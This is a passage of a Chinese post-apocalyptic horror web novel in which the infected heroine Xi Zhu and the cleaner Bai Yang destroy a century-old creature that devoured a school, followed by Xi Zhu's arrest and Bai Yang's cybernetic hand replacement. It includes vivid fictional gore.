“无父无母,无依无靠的你,如果不是变为了感染物,你以为你能在17区活下来吗?资源匮乏,人类稀少,食物不足的情况下,还能分出东西给你这种异类,你以为是在做慈善吗?你要聪明一点啊!光跟着那个颜如忆好奇地表有什么东西这种事,根本毫无用处!那个什么大海能让你活命吗!还有那个什么真正的太阳能照到你这只阴沟里的感染物身上吗!真是异想天开!”
“你应该做的只有一件事,将节日准备到万无一失,以及将那些产物全部吃掉,奉献给收获日。”
画面中的女孩瑟缩着脖子,任由校长的口水喷到她身上,那张满嘴油腻的嘴巴在永无止境地喋喋不休,从头到尾数落着女孩的过错,不论她是人,还是感染物。
她就这样在欲加之罪中缩的越来越小。
***
“什么气味?”还没拐弯,奚渚就在不断变化的场景中闻到了一股刺鼻的酸臭味。
她心道不好,连
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忙加快步伐,朝着教室逼近。
一定是发生了什么,随着奚渚不断接近教室,那股刺鼻的味道也越来越重,浓烈的血腥味加上尸体长年腐烂的酸臭味,其间还伴随着咕噜咕噜吞咽肉-体的咀嚼声。
奚渚皱起了眉,下一个转角,就是教室。
忽明忽暗中,教室的半空似乎郎当挂着什么东西,左右飘忽的黑影,扭曲旋转的细条。
奚渚停在了教室门口。
她站在原地,看着教室内惨不忍睹的景象,被感染物寄生的颜如忆已经完全没了人形,变成了一滩蠕动增生的红色肉堆。
在整滩肉泥之下,学生们被一个个压到窒息死亡,再由那些底盘上突变出来的嘴巴一口口撕碎吞食。
它们吃一口,啐一口,干巴巴地咀嚼。
而被包裹其中的颜如忆,仅仅只露出一只眼睛来。
她在哭。
嘴巴进行着残酷暴虐的虐杀行为,吃了个,丢一个,一扔一甩,被扯出来的肠子就被挂到了旋转的老式风扇之上,整间教室,尸体林立。
风扇吱呀作响,半截的,一个脑袋的,所有肉-体统统被卷了进去,从扇叶中全数流下来,再滴落到感染物的红色肉泥里。
这样的场景,宛如地狱。
颜如忆还在流着泪。
这种惨状已经无从分辨谁对谁错,重要的是解脱。
奚渚抬起枪,双手持握,瞄准了颜如忆的脑袋。
毫无犹豫,砰一声,子弹从颜如忆的脑袋中嗖地穿过。
感染物立刻停止了咀嚼,刷一下移动位置,朝向打断它进食的奚渚。
“罪不可赦!罪不可赦!”
被打烂的地方在眨眼间就愈合,奚渚再次抬枪。
苔粒子没有消失,甚至一点波动都没有,看来刚才那一枪并没有对感染物造成任何实质伤害。
——再来一下吗?
奚渚看向自己的手腕,那里已经青黑一片,就在她准备再次开枪的瞬间,余光中突然出现了白央的身影!
对方被再生的分身猛地甩到了一边。
奚渚立刻松手,准备转身,却在下一秒,身后蠕动的肉泥就爬到了她的背上。
那种浓重的、刺耳的呼吸声,透过后背灼热的肉泥传到奚渚皮肤之上。
她反身朝后开了一枪,肉沫就炸到了自己脸上,奚渚立刻捂住自己的腹部,那里被清扫枪剧烈擦伤了!
奚渚翻开身上的皮肉,她没有停下脚步,立刻朝外奔跑,白央那头一定出事儿了,自己需要立刻和她汇合。
感染物的本体又在重新复原,其中一部分落在奚渚的皮肤之上,便顺嘴啃食着。
她能感受到那种皮肉被剥离的刺痛。
那么颜如忆呢?
被啃食了百年之久,她又是什么感受?
救助本是恶魔的学生,是否真的值得。
奚渚手心中攥着一张皱皱巴巴教案纸。
那是颜如忆之前允许自己出教室时,偷偷递给自己的纸条。
——“我后悔了,她们才是怪物。这一切只是一场游戏,一场长达百年的替死鬼游戏。杀了我,杀了所有人,结束这一切吧。”
奚渚持起清扫枪,对着复原的感染物再次射发!
在感染物被炸碎的瞬间,她朝着门外狂奔而去。
自己应该做的,自己必须做的,自己能够做的!
奚渚的大脑飞速运转,硬碰硬根本不现实,首先要做的就是救下手无寸铁的白央,再想办法解决这只打不死感染物。
她看向白央消失的方向,“别死啊!”
12.百年前的学校(五)
首先是这层楼,感染物所具现出的区域大部分是不完整的,要么这地方缺一块儿,要么那地方少一处。
奚渚循着分身消失的方向赶过去,楼道内简直安静到了极点,只能听到奚渚轻缓的脚步声在吱呀作响。
“去哪儿了?”
没有任何分身的影子,甚至连白央的身影都没有看见。
“难道到了下层吗?”奚渚站在半截的楼道口,这地方只具现出二十几个台阶,剩下的都糊成了一片。
要下去的话只能沿着楼道的最左侧的一条小细边溜下去。
想到这里,奚渚没有犹豫,毕竟撑死胆大的!
时间很紧迫,白央身上大概没有任何武器,自己犹豫一会儿,对方死亡的可能性就更大。
她一死,自己才是白干!
奚渚将清扫枪挎到自己身前,这样做的目的是为了在突然情况下,自己能最快速度拿起枪攻击。
她看了眼下层的地板,以最快的下滑速度来看,不出意外只要十几秒就能下去。
奚渚呼出一口气,腹部的淤青隐隐作痛,她在原地蹦了一下,在第二下就直接抓到了栏杆之上。
“很顺利。”
奚渚开始极速滑-动,手心都火辣辣的疼。
该说不说,这感染物具现化出的地方连材质都给造成来了,该有的都有,没有的也真是没有。
奚渚整个身体腾空,她看了一眼脚下,如果在这个位置掉下去,自己大概直接会摔死。
“快到了。”
下层就在不远处,奚渚蓄劲儿直接腾空,却在下一秒,就和墙壁间冲出来的感染物撞了个脸贴脸。
她立刻反手握枪,可感染物的动作也十分迅速!
一张大口,狠狠咬上了的半身!
撕扯间,奚渚被掼到了墙上,她整个人被持续撕扯,就像猛兽想要在甩动中将猎物一击致命。
“枪!枪!”奚渚忍着半身的剧痛,靠着身体另一侧的力量,反身持枪,怼到了分身面前。
嘭!
感染物被直接打成了肉沫。
奚渚立刻补枪,这东西如果不直接打散,它还会卷土重来!
但是,究竟要达到什么地步呢?
“脑袋!”她想到了白央说的话,但是这家伙就是一个嘴巴的膨胀体,她的脑袋究竟在哪儿?
在火力的持续压制下,分身感染物被打成了毫米碎块儿,且没有再喘息的余地。
奚渚松了口气,靠到了墙上,她摸了摸身侧的伤口,幸亏有白央这件制服外套顶着,不然自己大概就直接骨肉分离了。
她垂着脑袋,平息着心跳与呼吸,尽可能地最快时间恢复状态,因为解决了分身,还有一个本体在教室等着自己!
而抱着手臂从墙体内一瘸一拐走出来的白央,看到的就是这幅场景。
——浑身是血满身战损的奚渚,持着一米长的清扫枪,抱着手臂,斜靠在墙壁上,歪过脑袋,头发遮了半张脸,很轻松地对着自己浅笑了一下。
“我还得回去解决本体,你能撑住吗?”奚渚显然是看到了白央的手臂。
“可以,不用管我。”白央开口让路,指着墙壁内-侧,“这里被具现化出来了,可以直接上去。”
奚渚点点头,一米七五以上的身高很轻松地就穿过了墙壁上的大洞,她视线平移,看到了白央的意有所指。
“我懂了,抓着这个爬上去是吧。”
白央点头,和奚渚擦肩而过。
奚渚再次启动自己的攀爬技能,该说不说,自从感染了,这具身体不仅格外有力气,而且恢复速度简直到了人神共愤的程度。
她两三下爬了上去,对着白央挥了挥手,朝着教室出发。
***
一百年前。
“呐!老师!如果给你一个愿望你会选什么呢?”一个学生突然问道。
全班同学都死死盯着这个刚来的老师,她一脸腼腆,浑身上下散发出新鲜的状态。
那是以前那些来了就跑的老师所不具备的品质。
“老师,告诉我们吧!你的愿望!我们可以替你实现哦!”所有学生异口同声,奇怪的回音形成一种无形的逼迫。
颜如忆有点紧张,她没有想到17区这个偏远村庄的学校里的孩子竟然不认生,还会跟自己开玩笑。
她突然觉得没有那么担心了。
颜如忆松开了紧攥的双手,她把象征着17区候选教师的名牌放到课桌上,开始认真思考同学们的问题,“老师的话,希望有一天可以看见星星吧。”
“星星?那是什么东西!可以丢着玩儿的吗?”其中一个学生登时从桌后站起身,呼啦一声,推开椅子,站到了这个新老师面前。
颜如忆看到对方兴奋的双眼,以为是自己点燃了学生的好奇心,她想到教师育人没准儿就是这样!
她呼出一口气,解释道:“几千年前,当我们人类还可以抬头遥望夜空的时候,就可以看见满天繁星在对着你眨眼,那是非常美丽的景象。”
“星星就是会闪光的东西吗?”学生撑起自己上半身,“原来是这么无聊的东西啊。”
“并不无聊哦,这是非常宝贵的遗迹,起码我们人类已经有几千年没有见到过了。”
“老师,你最后的愿望真的是这个吗?只看这个闪光的东西。”学生确认道。
“这么说也可以。”颜如忆觉得这些对话有些奇怪,但又不知道何处奇怪。
在她看来,或许是这些孩子看见新老师而过于兴奋,兴奋到口不择言。
“老师,节日快到了。如果一切顺利的话,你的愿望肯定会被实现。如果只是闪光的东西,我们几乎每天都可以看到!老师,没准儿你这个愿望会持续百年之久也说不定呢!”
“节日?什么节日。”颜如忆很是奇怪,自己从来没有听校长说过什么节日啊。
自己刚取得17区的候选教师资格,也是被立刻分配到这里来的。
分配的原因只有一个,那就是想要真正取得正式教师资格,就必须到未开垦出文明的偏远地方进行任教。
颜如忆在来之前调查过这所学校,它的位置在17区最南端,距离自己北边的家十分遥远。
在来之前,她甚至都没有听说过这个叫“实果村”地方。
但为了尽快取得正式资格,帮家里减轻负担,颜如忆很早的就来了!
毕竟校长开的条件十分诱-人,只需要在这里教学一个月,自己不仅会得到学校的任教证明,还可以获得一笔不菲的报酬。
想到这里的颜如忆,不仅面露喜色,连声音也带上了明显的愉快。
她决定,即使是一个月,自己也要和这些孩子好好相处,教授给他们新奇的知识。
学生的眼睛瞬间疯狂,在他看来,这无疑是节日前最好的开胃菜。
——懵懂,无知,带着自赋的使命。
他将手背在身后,对着所有学生比了一个折断的手势。
瞬间,学生们嘻嘻嘻地笑了起来。
他们都知道,最好的娱乐时间就要到了!
颜如忆站在讲台上,一脸奇怪,她以为这些学生的微笑开心老师的到来。
于是,在阴差阳错中,她忽视掉了那些恶魔般的小动作。
正常的上课,正常的教学,过分活跃乃至无法管束的学生,以及角落处一个十分特殊的女孩。
颜如忆每次询问她,对方都以沉默结束。
女孩不愿意开口说任何东西,她似乎是这群孩子中更加独特的异类。
但颜如忆没有放弃,她随时随地地关怀女孩,在她看来,任何沉默都会有开口的契机。
直到有一天,女孩消失了。
颜如忆如实上报校长,却换来了校长的轻轻一瞥,他看到了这个新老师身上的伤,“颜老师,这难道不是你的责任吗?”
正当颜如忆再次下楼寻找的时候,那个沉默寡言的女孩突然出现。
她攥住了颜如忆的衣袖,“老师,离开吧。”
“老师不会走哦。”颜如忆拍了拍女孩的肩膀,随即就被教室里故意折腾出动静的学生吸引了注意力。
女孩径直拐到了校长室,只听见校长还在重复那些话术:什么红酒,什么阴谋,什么替罪羊,什么上区的别墅。
校长看到了女孩,一脸惊讶,似乎是被吓得丢了魂,“你怎么在这儿,快回去!看着那个老师!不要让她跑了!你知道的吧,今年的节日需要她。”
女孩机械地回到教室,她环视着这些那些大声吵闹的同学,只觉得这一切到底什么时候才能结束。
从新老师到来开始,到学生故意失踪,全校感染,节日收获,这样简单的过程就完成了一个收获的周期。
她看向自己手心,每到这个时候,自己的身体都会溃烂,还会散发出奇怪的绿色粒子。
可是一旦节日结束,自己的身体就会变回原样。
——老师想看的星星是指这些绿色的粒子吗?
——老师也想要被自己感染吗?
——老师喜欢收获日吗?
——如果自己把收获来的生命交给老师,她会高兴吗?
——既然老师不想离开,那么说明是喜欢和自己呆在一起的吧?
女孩抱着这样的心思,重新回到了教室。
事情的发生很突然,学生们开始接二连三的感染,什么药都不管用。
颜如忆呆坐在讲台上,看着他们一个个没了呼吸,开始发霉溃烂。
“自己也会死吗?”颜如忆看着被抽干生命的学生们,突然她想到了一个办法,校长一定知道真相!
她站在校长室的门口,却发现早
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已人去楼空,什么都没有了!
她后知后觉,这一切都是骗局!
“老师,校长把你丢下了哦。”
“不过老师你不用担心,你跟之前那些想要逃跑的老师不一样,你是真的喜欢我们!”女孩喃喃自语。
“老师如果你喜欢看闪光的东西的话,我可以让你一直都看到哦!”
“老师你不用担心,你消失了别人也不会找的,校长都找好替罪羊了。说是你杀了全校学生,你可能会被钉在残害学生的耻辱柱上吧,没准儿会有人骂你一百年也说不定呢?”
“你在胡说什么!校长知道这些事吗!”颜如忆节节后退,撞到了墙上,她听过感染物,但从没觉得自己能够遇上,这些东西难道不是距离自己这个普通人十分遥远吗?
她看着面前自称感染物的女孩,对方看起来和人类没有任何差别,唯一的不同或许就是那双病态的眼睛。
“我把那些对你不尊敬的学生解决了哦,因为我很不喜欢他对老师的态度。”女孩细声细气道。
颜如忆没有再听下去,她立刻飞奔回教室,眼前的一幕已经无法用恐怖来形容。
一团巨大的蠕动的肉-体,浑身长满了猩红的嘴巴,正在吞食教室里干瘪的学生。
“老师,不要伤心,他们没有消亡,反而会一直作为我的一部分活下去。”女孩阴恻恻开口,“老师,你愿意被我吃掉吗?”
颜如忆缓慢转身,她立刻朝女孩的脑袋来了一拳,趁对方懵了的瞬间,急速朝着学校外逃去。
“不能留在这里!那个感染物必须立刻上报17区!难道之前的老师都被吃了吗!到底为什么会出现这种事情啊!自己回不去了吗!家里人还在等着自己拿到正式资格啊!”
“老师,我知道你是愿意的。我保证你可以看到闪光之物,只要你愿意呆在这里陪我,我就会让你以另一种方式活下去。”
绿色的光点在颜如忆周身极速旋转,整间学校在瞬间开始崩塌,女孩站在几十米外,但一眨眼的功夫,就以猩红嘴巴的形式闪现到了颜如忆面前。
下一秒,颜如忆猛地栽进了一滩烫人的肉-体中。
在柔软中,她看到了自己身体被直接折断,送进了怪物嘴巴里。
“老师,谢谢你,你是第一个愿意跟我主动说话的。”
“我会满足你的愿望的,永远...永远...让你看到闪光的东西。”
***
“颜如忆!颜如忆!你能听见我说话吗!”
是谁?
为什么会喊自己的名字?
过了多长时间?
学生们还好吗?
感染结束了吗?
面前好多绿色的东西,这是什么?
难道自己真的看到星星了!
“颜如忆,如果你能听到我说的话,就眨一下眼睛。”有人如此说道。
颜如忆觉得十分奇怪,但还是照做了,她轻轻地睁开了眼睛,随机猛地阖上。
那些漂浮在教室里的东西是什么?
不像桌子,不像木棍,倒像是...人类的尸体。
“颜如忆,我知道你听见了。下一秒我就会杀了你,因为感染物的本体附在你的身上,而我必须解决这只感染物,才能结束这一切。所以,你准备好了吗?听到的话请再次眨眼。”
对方在说什么,颜如忆根本听不懂。
但她却下意识地赞同了对方说的话。
自己必须死!
这一切也必须结束!
颜如忆再次睁眼,她清楚的看到了,透过一孔指尖般大小的缝隙,她看到了那些被感染物肢解的学生,还有那头附在自己身上一百年的肉泥怪物。
她再次闭眼,确定了自己的死意。
突然,狭小的缝隙中-出现了一个陌生的女孩。
她双目沉静,打扮看起来完全是百年后的人类,她对着自己轻轻地笑了一下,下一秒,颜如忆就感受到了灼烧撕裂的触感。
嘭——!
感染物的脑袋被整个炸飞,几百块儿肉-体在地上蠕动,但却怎么都合不到一起去。它们在地上开始极速枯萎,而伴随着感染物的解决,一架白骨骷髅叮铃哐啷地从感染物中脱离了出来。
教室在褪色,墙皮在剥落,感染物已经消失,面前只剩下一具百年前的尸体。
苔粒子在漫无目的地飞舞,整间教室被点上了盈盈绿光,宛如夜空中无数星星在眨眼。
而在白骨之上,一朵绿色的小花嗖然绽放。
奚渚脱下外套,将白骨包到了衣服里,朝着塌陷的门外走去。
白央靠在墙上,她浑身挂彩,十分狼狈,接过了奚渚递过来的清扫枪,“任务完成了,还有带出去的必要吗?会被严格审查的。”
“她帮了我们。”奚渚看着白央,“不是吗?”
13.甲级感染者
“人造雨来了。”戈乌看着面前飘零的细密雨丝,远处灰白的天空,已经被团状云代替。
据说真正的雨打到身上时没有这么刺痛。
人造太阳是为了让人类感受到地下世界有白天与夜晚的区分。
而人造雨是则是给地下世界增添一种自然环境的隐秘氛围感。
雨越来越大,感染门却没有任何动静。
“已经两天了,整整98个小时。”戈乌顶着两个黑眼圈,萧索地站在雨中。
身后的执勤军已经换了四趟班,浑身白衣的他们宛如蚕蛹一般立着,瓢泼大雨溅在白-花花的制服上,立刻被蒸发消散,只有武器与雨丝的碰撞声尤为清晰。
此地在两天内已经完全戒严,17区的居民见怪不怪,躲在在家中足不出户,只希望这场行动能快点结束。
毕竟收获日就要来了。
戈乌盯着感染门,指尖正不规律的频繁敲击手腕,她十分焦躁,“队长怎么样了?”
白儒长官和伊文捷琳长官也已经离开两天了,自己根本猜不出她们来这里是为了什么?话说上区会故意下人造雨吗?还有人造雪,听说很早就被创造出来了,但是下区却从来没有下过人造雪唉。这些上区人还真是厉害。自己要是能去上区就好了,这样父母也会高兴吧,自己又不奢求顶区,最下面的9区就已经足够了,邻居们也会觉得自己出人头地了吧。还有队长也是上区来的,那自己可以问她上区是什么样吗?队长会觉得被冒犯吗?自己还是不要问了吧。做好任务就好了,毕竟这份清扫者的工作就足够让家里人觉得自己出息了。什么时候发工资呢?自己为了置换呼吸腔器官的贷款还剩很多没有还完......
戈乌天马行空地想着一堆又一堆,站在这里的两天,她简直把自己二十年的人生都想了个遍。
制服肩膀上突然传来敲击声。
戈乌转过身,原来是执勤军在呼唤自己,她立刻拍了拍脸,强迫自己清醒过来,“您好,长官。”
据戈乌所知,面前这位执勤军的级别比自己要高。
“她们什么时候出来,有确切的时间吗?我们还有别的事要干。”执勤军的声音透过头盔懵懵地传出来。他们不会像清扫者一样在感染门附近摘掉头盔,毕竟他们可不会只因为工作就去置换和改造器官。
“具体的时间还没有,不过已经两天了,应该很快就会出来了!不过,长官您要干什么去呢?我们接到的命令是直到奚渚出现,都不可以随意离岗。”戈乌干巴巴地解释道,浑然没有注意到气氛陡然下降。
执勤者歪过脑袋,俯视着面前这个新上任没多长时间的清扫者,二人隶属于同一个三军体系,但他格外觉得对方的脑子不是很灵光,“你的意思是在质疑我擅自离岗,不完成白儒长官交代的任务吗?”
戈乌慢慢睁大了眼睛,她恍然大悟,自己又说错话了,“我没有这个意思,长官!”
“话说回来,故意开启感染门测试异类感染者的事情,本身就是清扫者和濒临解散的猎人7组弄出来的事情,我们执勤军过来就已经是超出任务范围了,你懂吗?新人。”
“我懂,长官。”戈乌连忙点头。
“不过,我倒是想听听,你们准备拿那头叫奚渚的感染者怎么办?”执勤者看了一眼戈乌,对方瞬间激灵了一下。
“这个,我也不清楚,最后的处置结果都是长官们决定。我们只负责把奚渚送进去。”戈乌说的很小声,她有一个直觉,她认为伊文捷琳大概率是推动整件事的幕后使者。
“门开了。”执勤者立刻转身,将武器对准了感染门的方向。
戈乌赶忙戴上头盔,朝着白央现身的方向疾步赶去。
***
“你觉得过了几天了。”奚渚抱着一堆骨头,孤零零站在枯败的草堆里。
白央拄着枪站在不远处,她的身体出问题了,“98小时。”
“就这么等着就可以了吗?”奚渚站的腿都麻了,也没有看到面前出现巨大的黑门出口。
“感染区还没有彻底清退,一旦感染物的苔粒子彻底消失,大门才会出现。”白央活动了一下已经碎成了渣滓的右手,看来得去换一下手臂了。
苔粒子已经十分微弱。这件事,白央透过头盔上的数据就可以观察的一清二楚。
奚渚站在原地轻微摇晃身体,脚底的枯草被她带出细微的唰唰声,“你一直戴着头盔,不憋吗?”
“不憋,里面有循环气体。”
“这么高科技?”奚渚随口问道。
白央注意到了奚渚黑青的手腕,大概是直接开枪导致的。她站在原地想了想,突然从制服口袋里拿出一堆医疗绷带,递给了奚渚。
“这东西很有效吗?”奚渚道谢接了过去,却发现自己腾不出手,于是将那堆骨头连带衣服交给了白央,一脸微笑道:“你帮我拿一下。”
奚渚拆开绷带,开始胡乱地左右缠绕。
白央看不懂她,为什么一个人突然经历了这么多意外事件还能笑的出来。
奚渚还在和绷带抗争着,乱七八糟地将整个手臂都缠了起来,“确实有用,多谢。”
正在这时,黑门的轮廓在一片迷雾中缓缓出现,奚渚闻到了一股浓重的水汽。
“下雨了吗?”她不禁疑惑。
白央跟在她身后,捧着一堆骨头,“是人造雨。”
“人造太阳,人造雨,不会所有东西都是人造的吧。”奚渚开玩笑道。
白央摇摇头,没说什么,率先走了出去。
背后的感染区开始崩坏坍塌,苔粒子全数消散在感染门内,周围的环境在几秒间就恢复为倾盆大雨。
“队长!”戈乌立刻撑开一把黑伞,支到了白央的头顶上,“队长,你没事儿吧。”
白央摆摆手,却忘了自己还抱着一堆骨头。
瞬间,叮铃哐啷的,白骨洒了一地。
“我没事儿,白儒离开了吧。”白央余光中的奚渚突然消失了。
她立刻转身,却没想到奚渚笑了一声。
白央发觉自己被奚渚耍了。
她僵硬地低下脑袋,满脸擦伤的奚渚正蹲在地上一边捡骨头,一边打量自己的反应。
雨水打在奚渚脸上,血迹便和水迹混作一团,骨头被她捧在怀里,“不帮忙吗?”
于是在戈乌的满脸震惊中,白央直接蹲了下去。
既然队长都蹲了,戈乌也飞一样迅速蹲了下去。
于是,三人像小鸡啄米一样在地上捡骨头。
执勤者看了几秒,立刻架起武器,他们可没时间和这几个脑子有病的清扫者在这里浪费。
“抬起手来。”
奚渚略微抬眸,就感受到了脑后的枪口,她心中默念,“清扫枪啊,看来这次任务的测试结果对自己来说并不理想。”
“站起来。”执勤者继续发号施
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令,他们的目标是将奚渚立刻带走,绝不能让任何人接触到她。
奚渚没有任何反抗,十分顺从地跟着执勤者踏入了雨地。
执勤者站到了奚渚面前,开始搜身,把任何能当作武器的东西都统统收缴。
奚渚被拷上了一只独特的手铐,她立刻感受到自己浑身的力气被抽干了。
执勤者将她严丝合缝地围了一圈,似乎是不想让她和任何人接触,他们在通报什么。
奚渚站在雨地中,脑子里突然开始响起电流一般的激荡声。
【奚渚你好,我是小黑。】
“你醒的真是时候。”奚渚在心中道。
【小黑沉睡结束,您已解决1头E级感染物,获得金钱奖励50000姆拉,并成功开拓17区10%地图。百年前学校任务结束,您已成功开启17区收获日副本,请尽快休息,为下次副本存蓄体力。】
奚渚看着手上的手铐,一脸难以言喻的表情,自己这是被系统下套了吧…
【任务开始不可中断,一但强行中断,您将会面临死亡风险。感染区难度越高,奖励越丰厚。】
奚渚严重怀疑,这个脑内的系统小黑是故意把自己引到17区表面,好让自己直接感染,然后开启这一堆要人命的副本任务!
而现在,自己已经是绳上的蚂蚱,只剩下一条路可走。
【故障中,故障中,小黑将进行短暂休眠......】
“一定是故意的!”
奚渚垂着脑袋,与其接受现状不如改变现状。
既然自己被感染的事已经木已成舟,那就先看看这些人会把自己带到哪里去。
如果自己的脑子里奇怪的感知能力是真的,那么这项能力就是自己最大的武器。
奚渚一步一步分析,总而言之,现在的自己既然没死,那么说明一定还有活下去的价值。
而价值,一定是自己身上的某一种能力!
她视线下移,注视到自己的袖子,那里正有一个热乎乎的东西在沉睡。
——那头E级感染物的碎片分身。
她回想起刚才自己解决掉本体后,视线中突然出现了一个瑟缩着的分身,它一直躲在角落,却在看到奚渚的时候,开始步步紧跟。
原本自己准备动手直接解决掉它,但突然一种奇怪的感觉涌上心头。
——没准儿这东西是个对自己有用的巨大筹码。
一个能撬动那些害怕感染物的人们的筹码。
奚渚被执勤者簇拥着离开,没走多长时间,就登上了一个浑身坚硬看起来像甲壳虫一样的铁黑色通道传送车。
传送车瞬间消失,白央盯着传送车留下的光弧尾气若有所思,有什么东西不太对劲。
戈乌依旧在捡骨头,她大致猜到了这些骨头是什么东西,待会儿必须要对它们进行隔离检查。
查出这头E级的一切信息,来填补那些繁琐且空白的感染物档案。
“他们要把奚渚带到哪儿?”白央停下了手中的动作,突然问道。
戈乌将骨头统统保存到了隔离箱内,立刻腾出眼睛来扫视着头盔上不断闪现的信息,终于在最下面看到了一条突然进来的紧急信息。
是从私人频道来的。
发信人是......
是伊文捷琳!
——目标已观测完成,奚渚被视为甲级感染者,需立刻转送,进行消杀处理。
14.感知本能
上区通道3号线,光弧站台处。
白央提着简单的行李,靠柱站在角落,等待着独属于她的上区通道的来临。
——“任务完成的不错,可以休息一天。”
——“回一趟3区吧,白儒很担心你。奚渚的问题我们会解决,她比任何人都重要。联盟无非是觉得奚渚不可控,一个具有缺陷感染的协调者,即使能力再强大,也不会是他们的最佳选择。但我们不一样,7组需要她。”
伊文捷琳所说的话历历在目,白央不知道对方打的什么哑谜,但总归只要伊文捷琳接手,奚渚大概率就不会死。
通道进站,这是一辆完全区别于17区地窟通道的车,它更为庞大,形状也极为扭曲,银色金属包裹着椭圆外壳,四周加固着流线型弧线,科幻感十足。
上区与下区的通路在设计上截然不同。
或许这就是创造者的初衷,为了刻意分级。
当地窟之人还在为一张通行证绞尽脑汁的时候,上区之人则已经有了自己的专车,可以毫无阻拦地前往各个下属联区。
白央站到门口,通道立刻识别出主人。
【欢迎主人,通道已读取目的地,五小时后将在3区停靠,祝主人一路顺利。】
通道内的机械女声播报着,白央随便找了一个位置,还没坐稳,身后就突然出现了一个健硕的穿着黑西装的女人。
白央叹了口气。
女人身材十分魁梧庞大,有着超出人类的健硕肌肉,她突然出现,就已经遮挡了通道内的三分之一的光亮。
“怎么了?”白央开口问道,既然这个女人出现在这里,那么就意味着伊文捷琳也在。
“不要生气噢!小央,是白儒给我的权限。”通道尽头处,出现一个坐轮椅的女人,她眯起眼睛笑了笑,“真是上区有钱人,光是这一辆车就足够17区一年安置贫民的经费了!真是罪过啊!小央!”
“找我-干什么?”白央随意回答。
伊文捷琳沉吟片刻,伸出一只手指,仔细一看,她的手指上也满是伤口和瘢痕,“你甘心让奚渚直接死了?”
白央靠到窗户上,她没有跟伊文捷琳透露自己看到那只复眼B级的消息。
很明显,那只感染物是冲着奚渚而来。
AB级感染物不受人类控制,它们来去无踪,即使是感染门也可以穿梭自如。
白央看着车外飞速闪现的红色感应仪,每隔三秒,她就能在漆黑一片的窗户上看到自己的脸。
和伊文捷琳一样,她的额头上有一道猩红伤疤,处于一直无法愈合的状态。
白央重新将黑色覆面戴到脸上,那头B级必须由自己解决,“我去3区换只手,之后会去找奚渚,你有办法的吧,让那些人收回命令。”
伊文捷琳的视线下移,在模糊不清中她看到了白央整个右手已经溃烂,但对方毫不在意,把换手这项行为说的就好像喝了口白开水一样。
伊文捷琳抬起头,“确实有办法。”
“怎么?继续以死相逼,他们怕你这个感染战损吉祥物没了,就会答应你的一切要求?”白央随口说。
“没错,我只讲究一个死皮赖脸,而理所当然的,我这具烂脸十分奏效。”伊文捷琳摆摆手,“我已经派人过去找奚渚了,你换手之后可以直接过去,如果出现执勤军拦路的意外,直接绞杀就行,毕竟7组再落魄,也还拥有最高裁决权。”
“奚渚一定会比那些执勤军还要先动手。”白央说。
“噢?这不是正好吗?”伊文捷琳开玩笑道,“任务结束后,不论用什么办法,你都必须把她带到我面前,我需要亲自见她。”
“我知道。”
伊文捷琳看了一会儿白央的状态,确定对方一切正常后,她轻轻敲了敲轮椅,身后的健硕女人立刻推动轮椅。
在寂静的通路内,只听见轮椅上轻轻传来一句,“我活不了多长时间了,猎人7组必须重建,而奚渚就是那把钥匙。”
白央沉默坐在座位上,保持着完全静止的姿态,直到机械女声再次播报。
【3区已经停靠。】
她提上自己的行李,迈出通路,经过繁琐的安检程序,重新踏入了3区。
机械狗立刻凑上来,充当引路人。白央面无表情经过正在引吭高歌的全息虚拟歌星,对方正唱着“欢迎回家”的温馨音调。巨大的蓝色光屏横插在瓢泼雨幕中,置换原生器官,买卖生命种子,延续自我意识,创造一切不可能等等广告词在瞬间出现,又立刻被湮灭。人造植物达到了惊人的高度,鲜翠欲滴的果实象征着生命正在上区被无限孕育。放浪形骸的人造昆虫在规律嗡鸣,它们被调整成了足够人注意到但却绝不会产生任何不适的状态。
拥挤但有秩序的空中,胖乎乎的悬浮车正与机械鸟共舞,它们搭载着无数上区人穿行于雨幕,肥胖的身子互相擦肩而过,尾部喷发出幽暗的绿光。
白央随便挥手,其中一辆立刻停到了她面前。
她见怪不怪,拿过行李,随手扔给机械狗一些生命值,它就欢天喜地到磕头下跪。
白央转身上车,朝着漆黑之地前进。
这里是上区,完全区别于下区的上区。
感染被完全隔离,苔粒子成了饭后传说。人们吃饱喝足,下区的一切都是谈资,他们享受着与地表千年前的人类完全一样的闲适。
而这样的闲适,是可以被世世代代传承下去的。
***
3区边缘,一座僻静医馆。
白央看了眼歪斜的门匾,推门而入。
门口的铃铛叮铃铃地响,惊起了医馆满墙人体器官之后正在酣然睡大觉的老板。
她囫囵坐起身,看向来人是白央后,又懒散地躺了回去,“怎么了?哪部分出问题了?这次要换哪儿?”
“右手。”白央将行李随手放到了一处空地,掀开了右手上的绷带,她直接扯开仅剩的皮肉,露出了里面伪装成血管的硅性纤维。
“你自己弄的?”老板含-着一根棒棒糖,踢着拖鞋就从椅子上跳了起来,她给自己接造的动物尾巴还不太适应,走起来左右晃动地厉害。
“因为任务。”白央简单解释道。
老板看了她一眼,叹了一口气,指着屋内小房间的手术床,“躺上去,我给你换。”
“多谢。”
老板利落地拿出一堆机械工具,叮铃哐啷地摆到手术床边,“不用谢,要没你的面子,我怎么可能在这里开店呢。”
啪一声。
白央被晃了眼,她看向脑袋上的白色手术灯,生出了眩晕的感觉,“快吗?”
“这么着急,这次也不回家吗?白儒前段时间还专门路过这里一趟。换手之后又要去下区吗?”老板并没有给白央打麻醉,这是白央特别要求的。
“还有任务。”
“你真是够忙啊!我真不理解你放着上区的工作不干,非要去下区做什么猎人,而且你最近是不是去伪装清扫者去了。反正我是不懂,你大概有自己的想法吧。”老板喃喃自语,她已经拆开了
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白央的右手,正在续接硅纤维,这东西能够完全模拟人体的血管和经脉,也就只有白央这样毫不在乎价钱的人能持续续接。
“我碰到了一个人。”白央突然开口,或许是手术灯太过晃眼,又或许是右手的阵阵疼痛,她非常稀罕地主动开口。
“哦?什么人呢?”老板挑挑眉。
“一个或许能实现我的愿望的人。”白央说的云里雾里,甚至连她自己都不确定,奚渚是否真的值得自己和伊文捷琳冒险,把一个完全不稳定的因素纳入7组。
“那她一定很特别吧。”老板轻声问道,硅纤维正在和肉-体紧密融合。
“我不知道。”白央一动不动地感受着刺痛的右手,“她被感染了。”
此言一出,老板便停顿了一秒,她已经很久没有接触过感染者了,这消息对于她来说还是十分稀奇的,她立刻恢复正常,“下区的所有感染者不是都要被清扫吗?”
“她被感染了,却没有任何异样。”白央道。
“那这不是很奇怪吗?”老板目不转睛,正在粘合手指的部分。
白央没有再开口,在沉默中,老板轻道一声“好了”。
